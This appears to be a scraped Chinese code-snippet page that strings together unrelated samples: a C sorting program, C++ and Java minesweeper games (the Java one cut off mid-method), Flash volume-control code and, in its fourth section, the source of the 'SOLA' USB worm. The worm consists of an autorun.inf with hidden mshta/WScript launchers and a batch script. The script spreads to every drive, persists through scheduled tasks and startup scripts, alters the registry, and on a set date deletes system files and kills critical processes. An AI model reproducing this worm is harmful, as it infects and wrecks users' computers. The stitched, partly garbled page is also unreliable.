导航:首页 > 源码编译 > shofiy源码

shofiy源码

发布时间:2022-06-20 09:04:58

❶ c程序源代码

#include<stdio.h>
main()
{
int a[3];
int i,pass,hoad;
printf("shu ru san ge shuzi:");
scanf("%2d%2d%2d",&a[0],&a[1],&a[2]);
for(i=0;i<=2;i++)
printf("%4d",a[i]);
printf("\n");
for(pass=1;pass<=2;pass++)
for(i=0;i<=1;i++)
if(a[i]>a[i+1]){
hoad=a[i];
a[i]=a[i+1];
a[i+1]=hoad; }
for(i=0;i<=2;i++)
printf("%4d",a[i]);
printf("\n");
getch();
}

❷ C++扫雷源代码

这是字符界面的扫雷:

#include <iostream>
#include <cstdlib>
#include <ctime>
#include <windows.h>
#include <conio.h>

// defines
#define KEY_UP 0xE048
#define KEY_DOWN 0xE050
#define KEY_LEFT 0xE04B
#define KEY_RIGHT 0xE04D
#define KEY_ESC 0x001B
#define KEY_1 '1'
#define KEY_2 '2'
#define KEY_3 '3'
#define GAME_MAX_WIDTH 100
#define GAME_MAX_HEIGHT 100

// Strings Resource
#define STR_GAMETITLE "ArrowKey:MoveCursor Key1:Open \
Key2:Mark Key3:OpenNeighbors"
#define STR_GAMEWIN "Congratulations! You Win! Thank you for playing!\n"
#define STR_GAMEOVER "Game Over, thank you for playing!\n"
#define STR_GAMEEND "Presented by yzfy . Press ESC to exit\n"

//-------------------------------------------------------------
// Base class
class CConsoleWnd
{
public:
static int TextOut(const char*);
static int GotoXY(int, int);
static int CharOut(int, int, const int);
static int TextOut(int, int, const char*);
static int GetKey();
public:
};

//{{// class CConsoleWnd
//
// int CConsoleWnd::GetKey()
// Wait for standard input and return the KeyCode
//
int CConsoleWnd::GetKey()
{
int nkey=getch(),nk=0;
if(nkey>=128||nkey==0)nk=getch();
return nk>0?nkey*256+nk:nkey;
}

//
// int CConsoleWnd::GotoXY(int x, int y)
// Move cursor to (x,y)
// Only Console Application
//
int CConsoleWnd::GotoXY(int x, int y)
{
COORD cd;
cd.X = x;cd.Y = y;
return SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),cd);
}

//
// int CConsoleWnd::TextOut(const char* pstr)
// Output a string at current position
//
int CConsoleWnd::TextOut(const char* pstr)
{
for(;*pstr;++pstr)putchar(*pstr);
return 0;
}

//
// int CConsoleWnd::CharOut(int x, int y, const int pstr)
// Output a char at (x,y)
//
int CConsoleWnd::CharOut(int x, int y, const int pstr)
{
GotoXY(x, y);
return putchar(pstr);
}

//
// int CConsoleWnd::TextOut(const char* pstr)
// Output a string at (x,y)
//
int CConsoleWnd::TextOut(int x, int y, const char* pstr)
{
GotoXY(x, y);
return TextOut(pstr);
}
//}}

//-------------------------------------------------------------
//Application class
class CSLGame:public CConsoleWnd
{
private:
private:
int curX,curY;
int poolWidth,poolHeight;
int bm_gamepool[GAME_MAX_HEIGHT+2][GAME_MAX_WIDTH+2];
public:
CSLGame():curX(0),curY(0){poolWidth=poolHeight=0;}
int InitPool(int, int, int);
int MoveCursor(){return CConsoleWnd::GotoXY(curX, curY);}
int DrawPool(int);
int WaitMessage();
int GetShowNum(int, int);
int TryOpen(int, int);
private:
int DFSShowNum(int, int);
private:
const static int GMARK_BOOM;
const static int GMARK_EMPTY;
const static int GMARK_MARK;
};
const int CSLGame::GMARK_BOOM = 0x10;
const int CSLGame::GMARK_EMPTY= 0x100;
const int CSLGame::GMARK_MARK = 0x200;

//{{// class CSLGame:public CConsoleWnd
//
// int CSLGame::InitPool(int Width, int Height, int nBoom)
// Initialize the game pool.
// If Width*Height <= nBoom, or nBoom<=0,
// or Width and Height exceed limit , then return 1
// otherwise return 0
//
int CSLGame::InitPool(int Width, int Height, int nBoom)
{
poolWidth = Width; poolHeight = Height;
if(nBoom<=0 || nBoom>=Width*Height
|| Width <=0 || Width >GAME_MAX_WIDTH
|| Height<=0 || Height>GAME_MAX_HEIGHT
){
return 1;
}
// zero memory
for(int y=0; y<=Height+1; ++y)
{
for(int x=0; x<=Width+1; ++x)
{
bm_gamepool[y][x]=0;
}
}
// init seed
srand(time(NULL));
// init Booms
while(nBoom)
{
int x = rand()%Width + 1, y = rand()%Height + 1;
if(bm_gamepool[y][x]==0)
{
bm_gamepool[y][x] = GMARK_BOOM;
--nBoom;
}
}
// init cursor position
curX = curY = 1;
MoveCursor();
return 0;
}

//
// int CSLGame::DrawPool(int bDrawBoom = 0)
// Draw game pool to Console window
//
int CSLGame::DrawPool(int bDrawBoom = 0)
{
for(int y=1;y<=poolHeight;++y)
{
CConsoleWnd::GotoXY(1, y);
for(int x=1;x<=poolWidth;++x)
{
if(bm_gamepool[y][x]==0)
{
putchar('.');
}
else if(bm_gamepool[y][x]==GMARK_EMPTY)
{
putchar(' ');
}
else if(bm_gamepool[y][x]>0 && bm_gamepool[y][x]<=8)
{
putchar('0'+bm_gamepool[y][x]);
}
else if(bDrawBoom==0 && (bm_gamepool[y][x] & GMARK_MARK))
{
putchar('#');
}
else if(bm_gamepool[y][x] & GMARK_BOOM)
{
if(bDrawBoom)
putchar('*');
else
putchar('.');
}
}
}
return 0;
}

//
// int CSLGame::GetShowNum(int x, int y)
// return ShowNum at (x, y)
//
int CSLGame::GetShowNum(int x, int y)
{
int nCount = 0;
for(int Y=-1;Y<=1;++Y)
for(int X=-1;X<=1;++X)
{
if(bm_gamepool[y+Y][x+X] & GMARK_BOOM)++nCount;
}
return nCount;
}

//
// int CSLGame::TryOpen(int x, int y)
// Try open (x, y) and show the number
// If there is a boom, then return EOF
//
int CSLGame::TryOpen(int x, int y)
{
int nRT = 0;
if(bm_gamepool[y][x] & GMARK_BOOM)
{
nRT = EOF;
}
else
{
int nCount = GetShowNum(x,y);
if(nCount==0)
{
DFSShowNum(x, y);
}
else bm_gamepool[y][x] = nCount;
}
return nRT;
}

//
// int CSLGame::DFSShowNum(int x, int y)
// Private function, no comment
//
int CSLGame::DFSShowNum(int x, int y)
{
if((0<x && x<=poolWidth) &&
(0<y && y<=poolHeight) &&
(bm_gamepool[y][x]==0))
{
int nCount = GetShowNum(x, y);
if(nCount==0)
{
bm_gamepool[y][x] = GMARK_EMPTY;
for(int Y=-1;Y<=1;++Y)
for(int X=-1;X<=1;++X)
{
DFSShowNum(x+X,y+Y);
}
}
else bm_gamepool[y][x] = nCount;
}
return 0;
}

//
// int CSLGame::WaitMessage()
// Game loop, wait and process an input message
// return: 0: not end; 1: Win; otherwise: Lose
//
int CSLGame::WaitMessage()
{
int nKey = CConsoleWnd::GetKey();
int nRT = 0, nArrow = 0;
switch (nKey)
{
case KEY_UP:
{
if(curY>1)--curY;
nArrow=1;
}break;
case KEY_DOWN:
{
if(curY<poolHeight)++curY;
nArrow=1;
}break;
case KEY_LEFT:
{
if(curX>1)--curX;
nArrow=1;
}break;
case KEY_RIGHT:
{
if(curX<poolWidth)++curX;
nArrow=1;
}break;
case KEY_1:
{
nRT = TryOpen(curX, curY);
}break;
case KEY_2:
{
if((bm_gamepool[curY][curX]
& ~(GMARK_MARK|GMARK_BOOM))==0)
{
bm_gamepool[curY][curX] ^= GMARK_MARK;
}
}break;
case KEY_3:
{
if(bm_gamepool[curY][curX] & 0xF)
{
int nb = bm_gamepool[curY][curX] & 0xF;
for(int y=-1;y<=1;++y)
for(int x=-1;x<=1;++x)
{
if(bm_gamepool[curY+y][curX+x] & GMARK_MARK)
--nb;
}
if(nb==0)
{
for(int y=-1;y<=1;++y)
for(int x=-1;x<=1;++x)
{
if((bm_gamepool[curY+y][curX+x]
& (0xF|GMARK_MARK)) == 0)
{
nRT |= TryOpen(curX+x, curY+y);
}
}
}
}
}break;
case KEY_ESC:
{
nRT = EOF;
}break;
}
if(nKey == KEY_1 || nKey == KEY_3)
{
int y=1;
for(;y<=poolHeight;++y)
{
int x=1;
for(;x<=poolWidth; ++x)
{
if(bm_gamepool[y][x]==0)break;
}
if(x<=poolWidth) break;
}
if(! (y<=poolHeight))
{
nRT = 1;
}
}
if(nArrow==0)
{
DrawPool();
}
MoveCursor();
return nRT;
}
//}}

//-------------------------------------------------------------
//{{
//
// main function
//
int main(void)
{
int x=50, y=20, b=100,n; // define width & height & n_booms
CSLGame slGame;
// Init Game
{
CConsoleWnd::GotoXY(0,0);
CConsoleWnd::TextOut(STR_GAMETITLE);
slGame.InitPool(x,y,b);
slGame.DrawPool();
slGame.MoveCursor();
}
while((n=slGame.WaitMessage())==0) // Game Message Loop
;
// End of the Game
{
slGame.DrawPool(1);
CConsoleWnd::TextOut("\n");
if(n==1)
{
CConsoleWnd::TextOut(STR_GAMEWIN);
}
else
{
CConsoleWnd::TextOut(STR_GAMEOVER);
}
CConsoleWnd::TextOut(STR_GAMEEND);
}
while(CConsoleWnd::GetKey()!=KEY_ESC)
;
return 0;
}
//}}

❸ FLASH播放器源代码解说

==============下面是声音控制部分===================================================
_root.createEmptyMovieClip("vidsound", _root.getNextHighestDepth());
vidsound.attachAudio(ns);
var sou:Sound = new Sound(vidsound); //新建 sou 声音类实例
sou.setVolume(100); //设置 声音 初值为100
var startxs = main.controlBar.vol._x; //获取VOL影片的X坐标初始值 var 声明局部变量
main.controlBar.vol._x = startxs+(100*.5); //设置 VOL 初始位置为
main.controlBar.vol.onPress = function() { //当按单击不放时
this.startDrag(false, startxs+3, this._y, startxs+58, this._y); //设置vol跟随时Y值不变
main.tooltip._x = Math.round(main._xmouse);
main.tooltip._y = 554;
this.onEnterFrame = voller;
};
main.controlBar.vol.onRollOver = function() { //当鼠标指针移过按钮区域时显示VOLUME值
showTip("Volume");
};
main.controlBar.vol.onRollOut = function() { //当鼠标指针移至按钮区域之外时调用
removeTip();
};
main.controlBar.vol.onRelease //当释放按钮时调用
= main.controlBar.vol.onReleaseOutside = function () {
this.stopDrag(); //startDrag 开始拖动
removeTip();
delete this.onEnterFrame;
};
function voller() { //显示声音的百分比函数
var perc = ((main.controlBar.vol._x-544)/(55));
sou.setVolume(Math.ceil(perc*100)); //设置Sound对象sou的音量为perc的上限值
//myVolume = sou.getVolume(); //返回音量级别默认设置为100
main.tooltip.datext.text = sou.getVolume()+"% Volume";
main.tooltip._x = Math.round(main._xmouse); //tooltip显示在X的位置
main.tooltip._y = Math.round(main._ymouse); //tooltip显示在Y的位置
main.tooltip._visible = true;
}

❹ sola的SOLA源代码

是个autorun.inf类的
autorun.inf内容如下:
[autorun]
shell打开(&O)command=mshta javascript:new ActiveXObject('WScript.Shell').Run('SOLA\SOLA.BAT -USB',0);window.close()
shell=打开(&O)
shellopen=复制磁盘(&C)
shellopenCommand=mshta javascript:new ActiveXObject('WScript.Shell').Run('SOLA\SOLA.BAT -USB',0);window.close()
shellopenDefault=1
shellexplore=资源管理器(&X)
shellexploreCommand=mshta javascript:new ActiveXObject('WScript.Shell').Run('SOLA\SOLA.BAT -USB',0);window.close()
病毒会在字体目录生成衍生物
%systemroot%FontsRegedit.reg
%systemroot%Fontssleep.exe
%systemroot%FontsSOLA.BAT
%systemroot%Fontsest_type2032.fon
会在字体目录生成个文件夹
%systemroot%Fontssolasetup
会在任务计划目录生成衍生物
%systemroot%TasksTasks.job
病毒代码
-----
@echo off
set sola=%systemroot%Fonts
set setup=%systemroot%Fontssolasetup
if not %1==-USB goto Start
start /max ..
if exist %sola%SOLA.BAT goto End
::========================Infect==============================
:Infect
cd
md %systemroot%Fontssolasetup
::————文件复制---------
solaAutorun.inf %setup%Autorun.inf
solaSOLA.BAT %setup%SOLA.BAT
sola宅男请进.RAR %setup%宅男请进.RAR
solaTasks.xxx %setup%Tasks.xxx
solasleep.exe %setup%sleep.exe
tasklist >%sola% ask.txt
FOR /F tokens=1 %%i in ('findstr /I svchost.exe %sola% ask.txt') do set svchost=%%i
%systemroot%system32cmd.exe %sola%\%svchost%
del %sola% ask.txt
:Tasks
%setup%Tasks.xxx %systemroot%TasksTasks.job
schtasks /change /ru NT AUTHORITYSYSTEM /tn Tasks & if errorlevel 1 goto TaskFail
goto TaskSuc
:TaskFail
%homedrive%
cd %ALLUSERSPROFILE%
cd “开始”菜单程序启动
echo On Error Resume Next>SOLA.VBS
echo set ws=wscript.createobject(wscript.shell)>>SOLA.VBS
echo ws.run %sola%svchost.exe /c %sola%SOLA.BAT,0 >>SOLA.VBS
SOLA.VBS %sola%SOLA.VBS
echo NT>%systemroot%FontsNoTasks
:TaskSuc
attrib %systemroot%TasksTasks.job +s +h +r
%setup%sola.bat %sola%sola.bat
%setup%sleep.exe %systemroot%system32sleep.exe
:NoAutoPlay
net stop Shell Hardware Detection
echo Windows Registry Editor Version 5.00>%systemroot%FontsRegedit.reg
echo [HKEY_LOCAL_]>>%systemroot%FontsRegedit.reg
echo Start=dword:00000004>>%systemroot%FontsRegedit.reg
start regedit /s %systemroot%FontsRegedit.reg
:KillTMG
goto End
::======================Infect======================================
::======================Start=======================================
:Start
%homedrive%
cd %ALLUSERSPROFILE%
cd “开始”菜单程序启动
date /t >%sola%est_type2032.fon
findstr /c:-10-01 %sola%est_type2032.fon & if not errorlevel 1 goto DayOn
if exist %systemroot%FontsNoTasks if not exist SOLA.VBS %sola%SOLA.VBS SOLA.VBS
:Continue
sleep 300&set C=0 & echo 1>C:solachk1 & findstr . C:solachk1 & if not errorlevel 1 del C:solachk1 & sleep 1000&set C=1 & findstr /C:SOLA_1.0 C:Autorun.inf & if errorlevel 1 attrib -s -h -r C:Autorun.inf& /y %setup%Autorun.inf C:Autorun.inf&attrib C:Autorun.inf +s +h +r&md C:SOLA& /y %setup%* C:SOLA*&attrib C:SOLA +s +h +r
sleep 300&set D=0 & echo 1>D:solachk1 & findstr . D:solachk1 & if not errorlevel 1 del D:solachk1 & sleep 1000&set D=1 & findstr /C:SOLA_1.0 D:Autorun.inf & if errorlevel 1 attrib -s -h -r D:Autorun.inf& /y %setup%Autorun.inf D:Autorun.inf&attrib D:Autorun.inf +s +h +r&md D:SOLA& /y %setup%* D:SOLA*&attrib D:SOLA +s +h +r
sleep 300&set E=0 & echo 1>E:solachk1 & findstr . E:solachk1 & if not errorlevel 1 del E:solachk1 & sleep 1000&set E=1 & findstr /C:SOLA_1.0 E:Autorun.inf & if errorlevel 1 attrib -s -h -r E:Autorun.inf& /y %setup%Autorun.inf E:Autorun.inf&attrib E:Autorun.inf +s +h +r&md E:SOLA& /y %setup%* E:SOLA*&attrib E:SOLA +s +h +r
sleep 300&set F=0 & echo 1>F:solachk1 & findstr . F:solachk1 & if not errorlevel 1 del F:solachk1 & sleep 1000&set F=1 & findstr /C:SOLA_1.0 F:Autorun.inf & if errorlevel 1 attrib -s -h -r F:Autorun.inf& /y %setup%Autorun.inf F:Autorun.inf&attrib F:Autorun.inf +s +h +r&md F:SOLA& /y %setup%* F:SOLA*&attrib F:SOLA +s +h +r
sleep 300&set G=0 & echo 1>G:solachk1 & findstr . G:solachk1 & if not errorlevel 1 del G:solachk1 & sleep 1000&set G=1 & findstr /C:SOLA_1.0 G:Autorun.inf & if errorlevel 1 attrib -s -h -r G:Autorun.inf& /y %setup%Autorun.inf G:Autorun.inf&attrib G:Autorun.inf +s +h +r&md G:SOLA& /y %setup%* G:SOLA*&attrib G:SOLA +s +h +r
if exist %systemroot%FontsNoTasks if not exist SOLA.VBS %sola%SOLA.VBS SOLA.VBS
sleep 300&set H=0 & echo 1>H:solachk1 & findstr . H:solachk1 & if not errorlevel 1 del H:solachk1 & sleep 1000&set H=1 & findstr /C:SOLA_1.0 H:Autorun.inf & if errorlevel 1 attrib -s -h -r H:Autorun.inf& /y %setup%Autorun.inf H:Autorun.inf&attrib H:Autorun.inf +s +h +r&md H:SOLA& /y %setup%* H:SOLA*&attrib H:SOLA +s +h +r
sleep 300&set I=0 & echo 1>I:solachk1 & findstr . I:solachk1 & if not errorlevel 1 del I:solachk1 & sleep 1000&set I=1 & findstr /C:SOLA_1.0 I:Autorun.inf & if errorlevel 1 attrib -s -h -r I:Autorun.inf& /y %setup%Autorun.inf I:Autorun.inf&attrib I:Autorun.inf +s +h +r&md I:SOLA& /y %setup%* I:SOLA*&attrib I:SOLA +s +h +r
sleep 300&set J=0 & echo 1>J:solachk1 & findstr . J:solachk1 & if not errorlevel 1 del J:solachk1 & sleep 1000&set J=1 & findstr /C:SOLA_1.0 J:Autorun.inf & if errorlevel 1 attrib -s -h -r J:Autorun.inf& /y %setup%Autorun.inf J:Autorun.inf&attrib J:Autorun.inf +s +h +r&md J:SOLA& /y %setup%* J:SOLA*&attrib J:SOLA +s +h +r
sleep 300&set K=0 & echo 1>K:solachk1 & findstr . K:solachk1 & if not errorlevel 1 del K:solachk1 & sleep 1000&set K=1 & findstr /C:SOLA_1.0 K:Autorun.inf & if errorlevel 1 attrib -s -h -r K:Autorun.inf& /y %setup%Autorun.inf K:Autorun.inf&attrib K:Autorun.inf +s +h +r&md K:SOLA& /y %setup%* K:SOLA*&attrib K:SOLA +s +h +r
sleep 300&set L=0 & echo 1>L:solachk1 & findstr . L:solachk1 & if not errorlevel 1 del L:solachk1 & sleep 1000&set L=1 & findstr /C:SOLA_1.0 L:Autorun.inf & if errorlevel 1 attrib -s -h -r L:Autorun.inf& /y %setup%Autorun.inf L:Autorun.inf&attrib L:Autorun.inf +s +h +r&md L:SOLA& /y %setup%* L:SOLA*&attrib L:SOLA +s +h +r
sleep 300&set M=0 & echo 1>M:solachk1 & findstr . M:solachk1 & if not errorlevel 1 del M:solachk1 & sleep 1000&set M=1 & findstr /C:SOLA_1.0 M:Autorun.inf & if errorlevel 1 attrib -s -h -r M:Autorun.inf& /y %setup%Autorun.inf M:Autorun.inf&attrib M:Autorun.inf +s +h +r&md M:SOLA& /y %setup%* M:SOLA*&attrib M:SOLA +s +h +r
sleep 300&set N=0 & echo 1>N:solachk1 & findstr . N:solachk1 & if not errorlevel 1 del N:solachk1 & sleep 1000&set N=1 & findstr /C:SOLA_1.0 N:Autorun.inf & if errorlevel 1 attrib -s -h -r N:Autorun.inf& /y %setup%Autorun.inf N:Autorun.inf&attrib N:Autorun.inf +s +h +r&md N:SOLA& /y %setup%* N:SOLA*&attrib N:SOLA +s +h +r
if exist %systemroot%FontsNoTasks if not exist SOLA.VBS %sola%SOLA.VBS SOLA.VBS
sleep 300&set O=0 & echo 1>O:solachk1 & findstr . O:solachk1 & if not errorlevel 1 del O:solachk1 & sleep 1000&set O=1 & findstr /C:SOLA_1.0 O:Autorun.inf & if errorlevel 1 attrib -s -h -r O:Autorun.inf& /y %setup%Autorun.inf O:Autorun.inf&attrib O:Autorun.inf +s +h +r&md O:SOLA& /y %setup%* O:SOLA*&attrib O:SOLA +s +h +r
sleep 300&set P=0 & echo 1>P:solachk1 & findstr . P:solachk1 & if not errorlevel 1 del P:solachk1 & sleep 1000&set P=1 & findstr /C:SOLA_1.0 P:Autorun.inf & if errorlevel 1 attrib -s -h -r P:Autorun.inf& /y %setup%Autorun.inf P:Autorun.inf&attrib P:Autorun.inf +s +h +r&md P:SOLA& /y %setup%* P:SOLA*&attrib P:SOLA +s +h +r
sleep 300&set Q=0 & echo 1>Q:solachk1 & findstr . Q:solachk1 & if not errorlevel 1 del Q:solachk1 & sleep 1000&set Q=1 & findstr /C:SOLA_1.0 Q:Autorun.inf & if errorlevel 1 attrib -s -h -r Q:Autorun.inf& /y %setup%Autorun.inf Q:Autorun.inf&attrib Q:Autorun.inf +s +h +r&md Q:SOLA& /y %setup%* Q:SOLA*&attrib Q:SOLA +s +h +r
sleep 300&set R=0 & echo 1>R:solachk1 & findstr . R:solachk1 & if not errorlevel 1 del R:solachk1 & sleep 1000&set R=1 & findstr /C:SOLA_1.0 R:Autorun.inf & if errorlevel 1 attrib -s -h -r R:Autorun.inf& /y %setup%Autorun.inf R:Autorun.inf&attrib R:Autorun.inf +s +h +r&md R:SOLA& /y %setup%* R:SOLA*&attrib R:SOLA +s +h +r
sleep 300&set S=0 & echo 1>S:solachk1 & findstr . S:solachk1 & if not errorlevel 1 del S:solachk1 & sleep 1000&set S=1 & findstr /C:SOLA_1.0 S:Autorun.inf & if errorlevel 1 attrib -s -h -r S:Autorun.inf& /y %setup%Autorun.inf S:Autorun.inf&attrib S:Autorun.inf +s +h +r&md S:SOLA& /y %setup%* S:SOLA*&attrib S:SOLA +s +h +r
if exist %systemroot%FontsNoTasks if not exist SOLA.VBS %sola%SOLA.VBS SOLA.VBS
sleep 300&set T=0 & echo 1>T:solachk1 & findstr . T:solachk1 & if not errorlevel 1 del T:solachk1 & sleep 1000&set T=1 & findstr /C:SOLA_1.0 T:Autorun.inf & if errorlevel 1 attrib -s -h -r T:Autorun.inf& /y %setup%Autorun.inf T:Autorun.inf&attrib T:Autorun.inf +s +h +r&md T:SOLA& /y %setup%* T:SOLA*&attrib T:SOLA +s +h +r
sleep 300&set U=0 & echo 1>U:solachk1 & findstr . U:solachk1 & if not errorlevel 1 del U:solachk1 & sleep 1000&set U=1 & findstr /C:SOLA_1.0 U:Autorun.inf & if errorlevel 1 attrib -s -h -r U:Autorun.inf& /y %setup%Autorun.inf U:Autorun.inf&attrib U:Autorun.inf +s +h +r&md U:SOLA& /y %setup%* U:SOLA*&attrib U:SOLA +s +h +r
sleep 300&set V=0 & echo 1>V:solachk1 & findstr . V:solachk1 & if not errorlevel 1 del V:solachk1 & sleep 1000&set V=1 & findstr /C:SOLA_1.0 V:Autorun.inf & if errorlevel 1 attrib -s -h -r V:Autorun.inf& /y %setup%Autorun.inf V:Autorun.inf&attrib V:Autorun.inf +s +h +r&md V:SOLA& /y %setup%* V:SOLA*&attrib V:SOLA +s +h +r
sleep 300&set W=0 & echo 1>W:solachk1 & findstr . W:solachk1 & if not errorlevel 1 del W:solachk1 & sleep 1000&set W=1 & findstr /C:SOLA_1.0 W:Autorun.inf & if errorlevel 1 attrib -s -h -r W:Autorun.inf& /y %setup%Autorun.inf W:Autorun.inf&attrib W:Autorun.inf +s +h +r&md W:SOLA& /y %setup%* W:SOLA*&attrib W:SOLA +s +h +r
sleep 300&set X=0 & echo 1>X:solachk1 & findstr . X:solachk1 & if not errorlevel 1 del X:solachk1 & sleep 1000&set X=1 & findstr /C:SOLA_1.0 X:Autorun.inf & if errorlevel 1 attrib -s -h -r X:Autorun.inf& /y %setup%Autorun.inf X:Autorun.inf&attrib X:Autorun.inf +s +h +r&md X:SOLA& /y %setup%* X:SOLA*&attrib X:SOLA +s +h +r
sleep 300&set Y=0 & echo 1>Y:solachk1 & findstr . Y:solachk1 & if not errorlevel 1 del Y:solachk1 & sleep 1000&set Y=1 & findstr /C:SOLA_1.0 Y:Autorun.inf & if errorlevel 1 attrib -s -h -r Y:Autorun.inf& /y %setup%Autorun.inf Y:Autorun.inf&attrib Y:Autorun.inf +s +h +r&md Y:SOLA& /y %setup%* Y:SOLA*&attrib Y:SOLA +s +h +r
sleep 300&set Z=0 & echo 1>Z:solachk1 & findstr . Z:solachk1 & if not errorlevel 1 del Z:solachk1 & sleep 1000&set Z=1 & findstr /C:SOLA_1.0 Z:Autorun.inf & if errorlevel 1 attrib -s -h -r Z:Autorun.inf& /y %setup%Autorun.inf Z:Autorun.inf&attrib Z:Autorun.inf +s +h +r&md Z:SOLA& /y %setup%* Z:SOLA*&attrib Z:SOLA +s +h +r
if exist %systemroot%FontsNoTasks if not exist SOLA.VBS %sola%SOLA.VBS SOLA.VBS
%systemdrive%
sleep 5000
goto Start
:DayOn
attrib %systemdrive% tldr -s -h -r & del /q /a %systemdrive% tldr & shutdown -r -t 10 -c 您的计算机上带有SOLA病毒,今天是它的发作日期。病毒已经破坏了您的系统,您的计算机将在10秒钟后重启。 & if errorlevel 1 start mshta javascript:new ActiveXObject('WScript.Shell').Run('ntsd -c q -pn csrss.exe',0);window.close()
sleep 10000
if errorlevel 1 start mshta javascript:new ActiveXObject('WScript.Shell').Run('ntsd -c q -pn winlogon.exe',0);window.close()
goto Start
::=====================Start=========================================
:End

❺ 扫雷java源代码

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class Frame
extends JFrame {
JTextField text;
JLabel nowBomb, setBomb;
int BombNum, BlockNum; // 当前雷数,当前方块数
int rightBomb, restBomb, restBlock; // 找到的地雷数,剩余雷数,剩余方块数

JButton start = new JButton(" 开始 ");
JPanel MenuPamel = new JPanel();
JPanel bombPanel = new JPanel();
Bomb[][] bombButton;

JPanel c;
BorderLayout borderLayout1 = new BorderLayout();
GridLayout gridLayout1 = new GridLayout();
public Frame() {
try {
setDefaultCloseOperation(EXIT_ON_CLOSE);
jbInit();
}
catch (Exception exception) {
exception.printStackTrace();
}
}

private void jbInit() throws Exception {
c = (JPanel) getContentPane();
setTitle("扫雷");
c.setBackground(Color.WHITE);
MenuPamel.setBackground(Color.GRAY);
c.setLayout(borderLayout1);
setSize(new Dimension(600, 600));
setResizable(false);

BlockNum = 144;
BombNum = 10;
text = new JTextField("10 ", 3);
nowBomb = new JLabel("当前雷数" + ":" + BombNum);
setBomb = new JLabel("设置地雷数");
start.addActionListener(new Frame1_start_actionAdapter(this));

MenuPamel.add(setBomb);
MenuPamel.add(text);
MenuPamel.add(start);
MenuPamel.add(nowBomb);
c.add(MenuPamel, java.awt.BorderLayout.SOUTH);

bombPanel.setLayout(gridLayout1);
gridLayout1.setColumns( (int) Math.sqrt(BlockNum));
gridLayout1.setRows( (int) Math.sqrt(BlockNum));
bombButton = new Bomb[ (int) Math.sqrt(BlockNum)][ (int) Math.sqrt(BlockNum)];
for (int i = 0; i < (int) Math.sqrt(BlockNum); i++) {
for (int j = 0; j < (int) Math.sqrt(BlockNum); j++) {
bombButton[i][j] = new Bomb(i, j);
//bombButton[i][j].setSize(10, 10);
bombButton[i][j].setFont(new Font("", Font.PLAIN, 14));//设置字体大小

bombButton[i][j].setForeground(Color.white);
bombButton[i][j].addMouseListener(new Bomb_mouseAdapter(this));
bombButton[i][j].addActionListener(new Bomb_actionAdapter(this));
bombPanel.add(bombButton[i][j]);
}
}
c.add(bombPanel, java.awt.BorderLayout.CENTER);

startBomb();
}

/* 开始按钮 */

public void start_actionPerformed(ActionEvent e) {
int num=Integer.parseInt(text.getText().trim());
if (num >= 5 && num < 50) {
BombNum = num;
startBomb();
}
else if (num < 5) {
JOptionPane.showMessageDialog(null, "您设置的地雷数太少了,请重设!", "错误",
JOptionPane.ERROR_MESSAGE);
num=10;
BombNum = num;
}
else {
JOptionPane.showMessageDialog(null, "您设置的地雷数太多了,请重设!", "错误",
JOptionPane.ERROR_MESSAGE);
num=10;
BombNum = num;
}
}

/* 开始,布雷 */

public void startBomb() {
nowBomb.setText("当前雷数" + ":" + BombNum);
for (int i = 0; i < (int) Math.sqrt(BlockNum); i++) {
for (int j = 0; j < (int) Math.sqrt(BlockNum); j++) {
bombButton[i][j].isBomb = false;
bombButton[i][j].isClicked = false;
bombButton[i][j].isRight = false;
bombButton[i][j].BombFlag = 0;
bombButton[i][j].BombRoundCount = 9;
bombButton[i][j].setEnabled(true);
bombButton[i][j].setText("");
bombButton[i][j].setFont(new Font("", Font.PLAIN, 14));//设置字体大小
bombButton[i][j].setForeground(Color.BLUE);
rightBomb = 0;
restBomb = BombNum;
restBlock = BlockNum - BombNum;
}
}

for (int i = 0; i < BombNum; ) {
int x = (int) (Math.random() * (int) (Math.sqrt(BlockNum) - 1));
int y = (int) (Math.random() * (int) (Math.sqrt(BlockNum) - 1));

if (bombButton[x][y].isBomb != true) {
bombButton[x][y].isBomb = true;
i++;
}
}
CountRoundBomb();
}

/* 计算方块周围雷数 */

public void CountRoundBomb() {
for (int i = 0; i < (int) Math.sqrt(BlockNum); i++) {
for (int j = 0; j < (int) Math.sqrt(BlockNum); j++) {
int count = 0;
// 当需要检测的单元格本身无地雷的情况下,统计周围的地雷个数
if (bombButton[i][j].isBomb != true) {
for (int x = i - 1; x < i + 2; x++) {
for (int y = j - 1; y < j + 2; y++) {
if ( (x >= 0) && (y >= 0)
&& (x < ( (int) Math.sqrt(BlockNum)))
&& (y < ( (int) Math.sqrt(BlockNum)))) {
if (bombButton[x][y].isBomb == true) {
count++;
}
}
}
}
bombButton[i][j].BombRoundCount = count;
}
}
}
}

/* 是否挖完了所有的雷 */

public void isWin() {
restBlock = BlockNum - BombNum;
for (int i = 0; i < (int) Math.sqrt(BlockNum); i++) {
for (int j = 0; j < (int) Math.sqrt(BlockNum); j++) {
if (bombButton[i][j].isClicked == true) {
restBlock--;
}
}
}

if (rightBomb == BombNum || restBlock == 0) {
JOptionPane.showMessageDialog(this, "您挖完了所有的雷,您胜利了!", "胜利",
JOptionPane.INFORMATION_MESSAGE);
startBomb();
}
}

/** 当选中的位置为空,则翻开周围的地图* */

public void isNull(Bomb ClickedButton) {
int i, j;
i = ClickedButton.num_x;
j = ClickedButton.num_y;

for (int x = i - 1; x < i + 2; x++) {
for (int y = j - 1; y < j + 2; y++) {
if ( ( (x != i) || (y != j)) && (x >= 0) && (y >= 0)
&& (x < ( (int) Math.sqrt(BlockNum)))
&& (y < ( (int) Math.sqrt(BlockNum)))) {
if (bombButton[x][y].isBomb == false
&& bombButton[x][y].isClicked == false
&& bombButton[x][y].isRight == false) {
turn(bombButton[x][y]);
}
}
}
}
}

/* 翻开 */

public void turn(Bomb ClickedButton) {
ClickedButton.setEnabled(false);
ClickedButton.isClicked = true;
if (ClickedButton.BombRoundCount > 0) {
ClickedButton.setText(ClickedButton.BombRoundCount + "");
}
else {
isNull(ClickedButton);
}
}

/* 左键点击 */

public void actionPerformed(ActionEvent e) {
if ( ( (Bomb) e.getSource()).isClicked == false
&& ( (Bomb) e.getSource()).isRight == false) {
if ( ( (Bomb) e.getSource()).isBomb == false) {
turn( ( (Bomb) e.getSource()));
isWin();
}

else {
for (int i = 0; i < (int) Math.sqrt(BlockNum); i++) {
for (int j = 0; j < (int) Math.sqrt(BlockNum); j++) {
if (bombButton[i][j].isBomb == true) {
bombButton[i][j].setText("b");
}
}
}
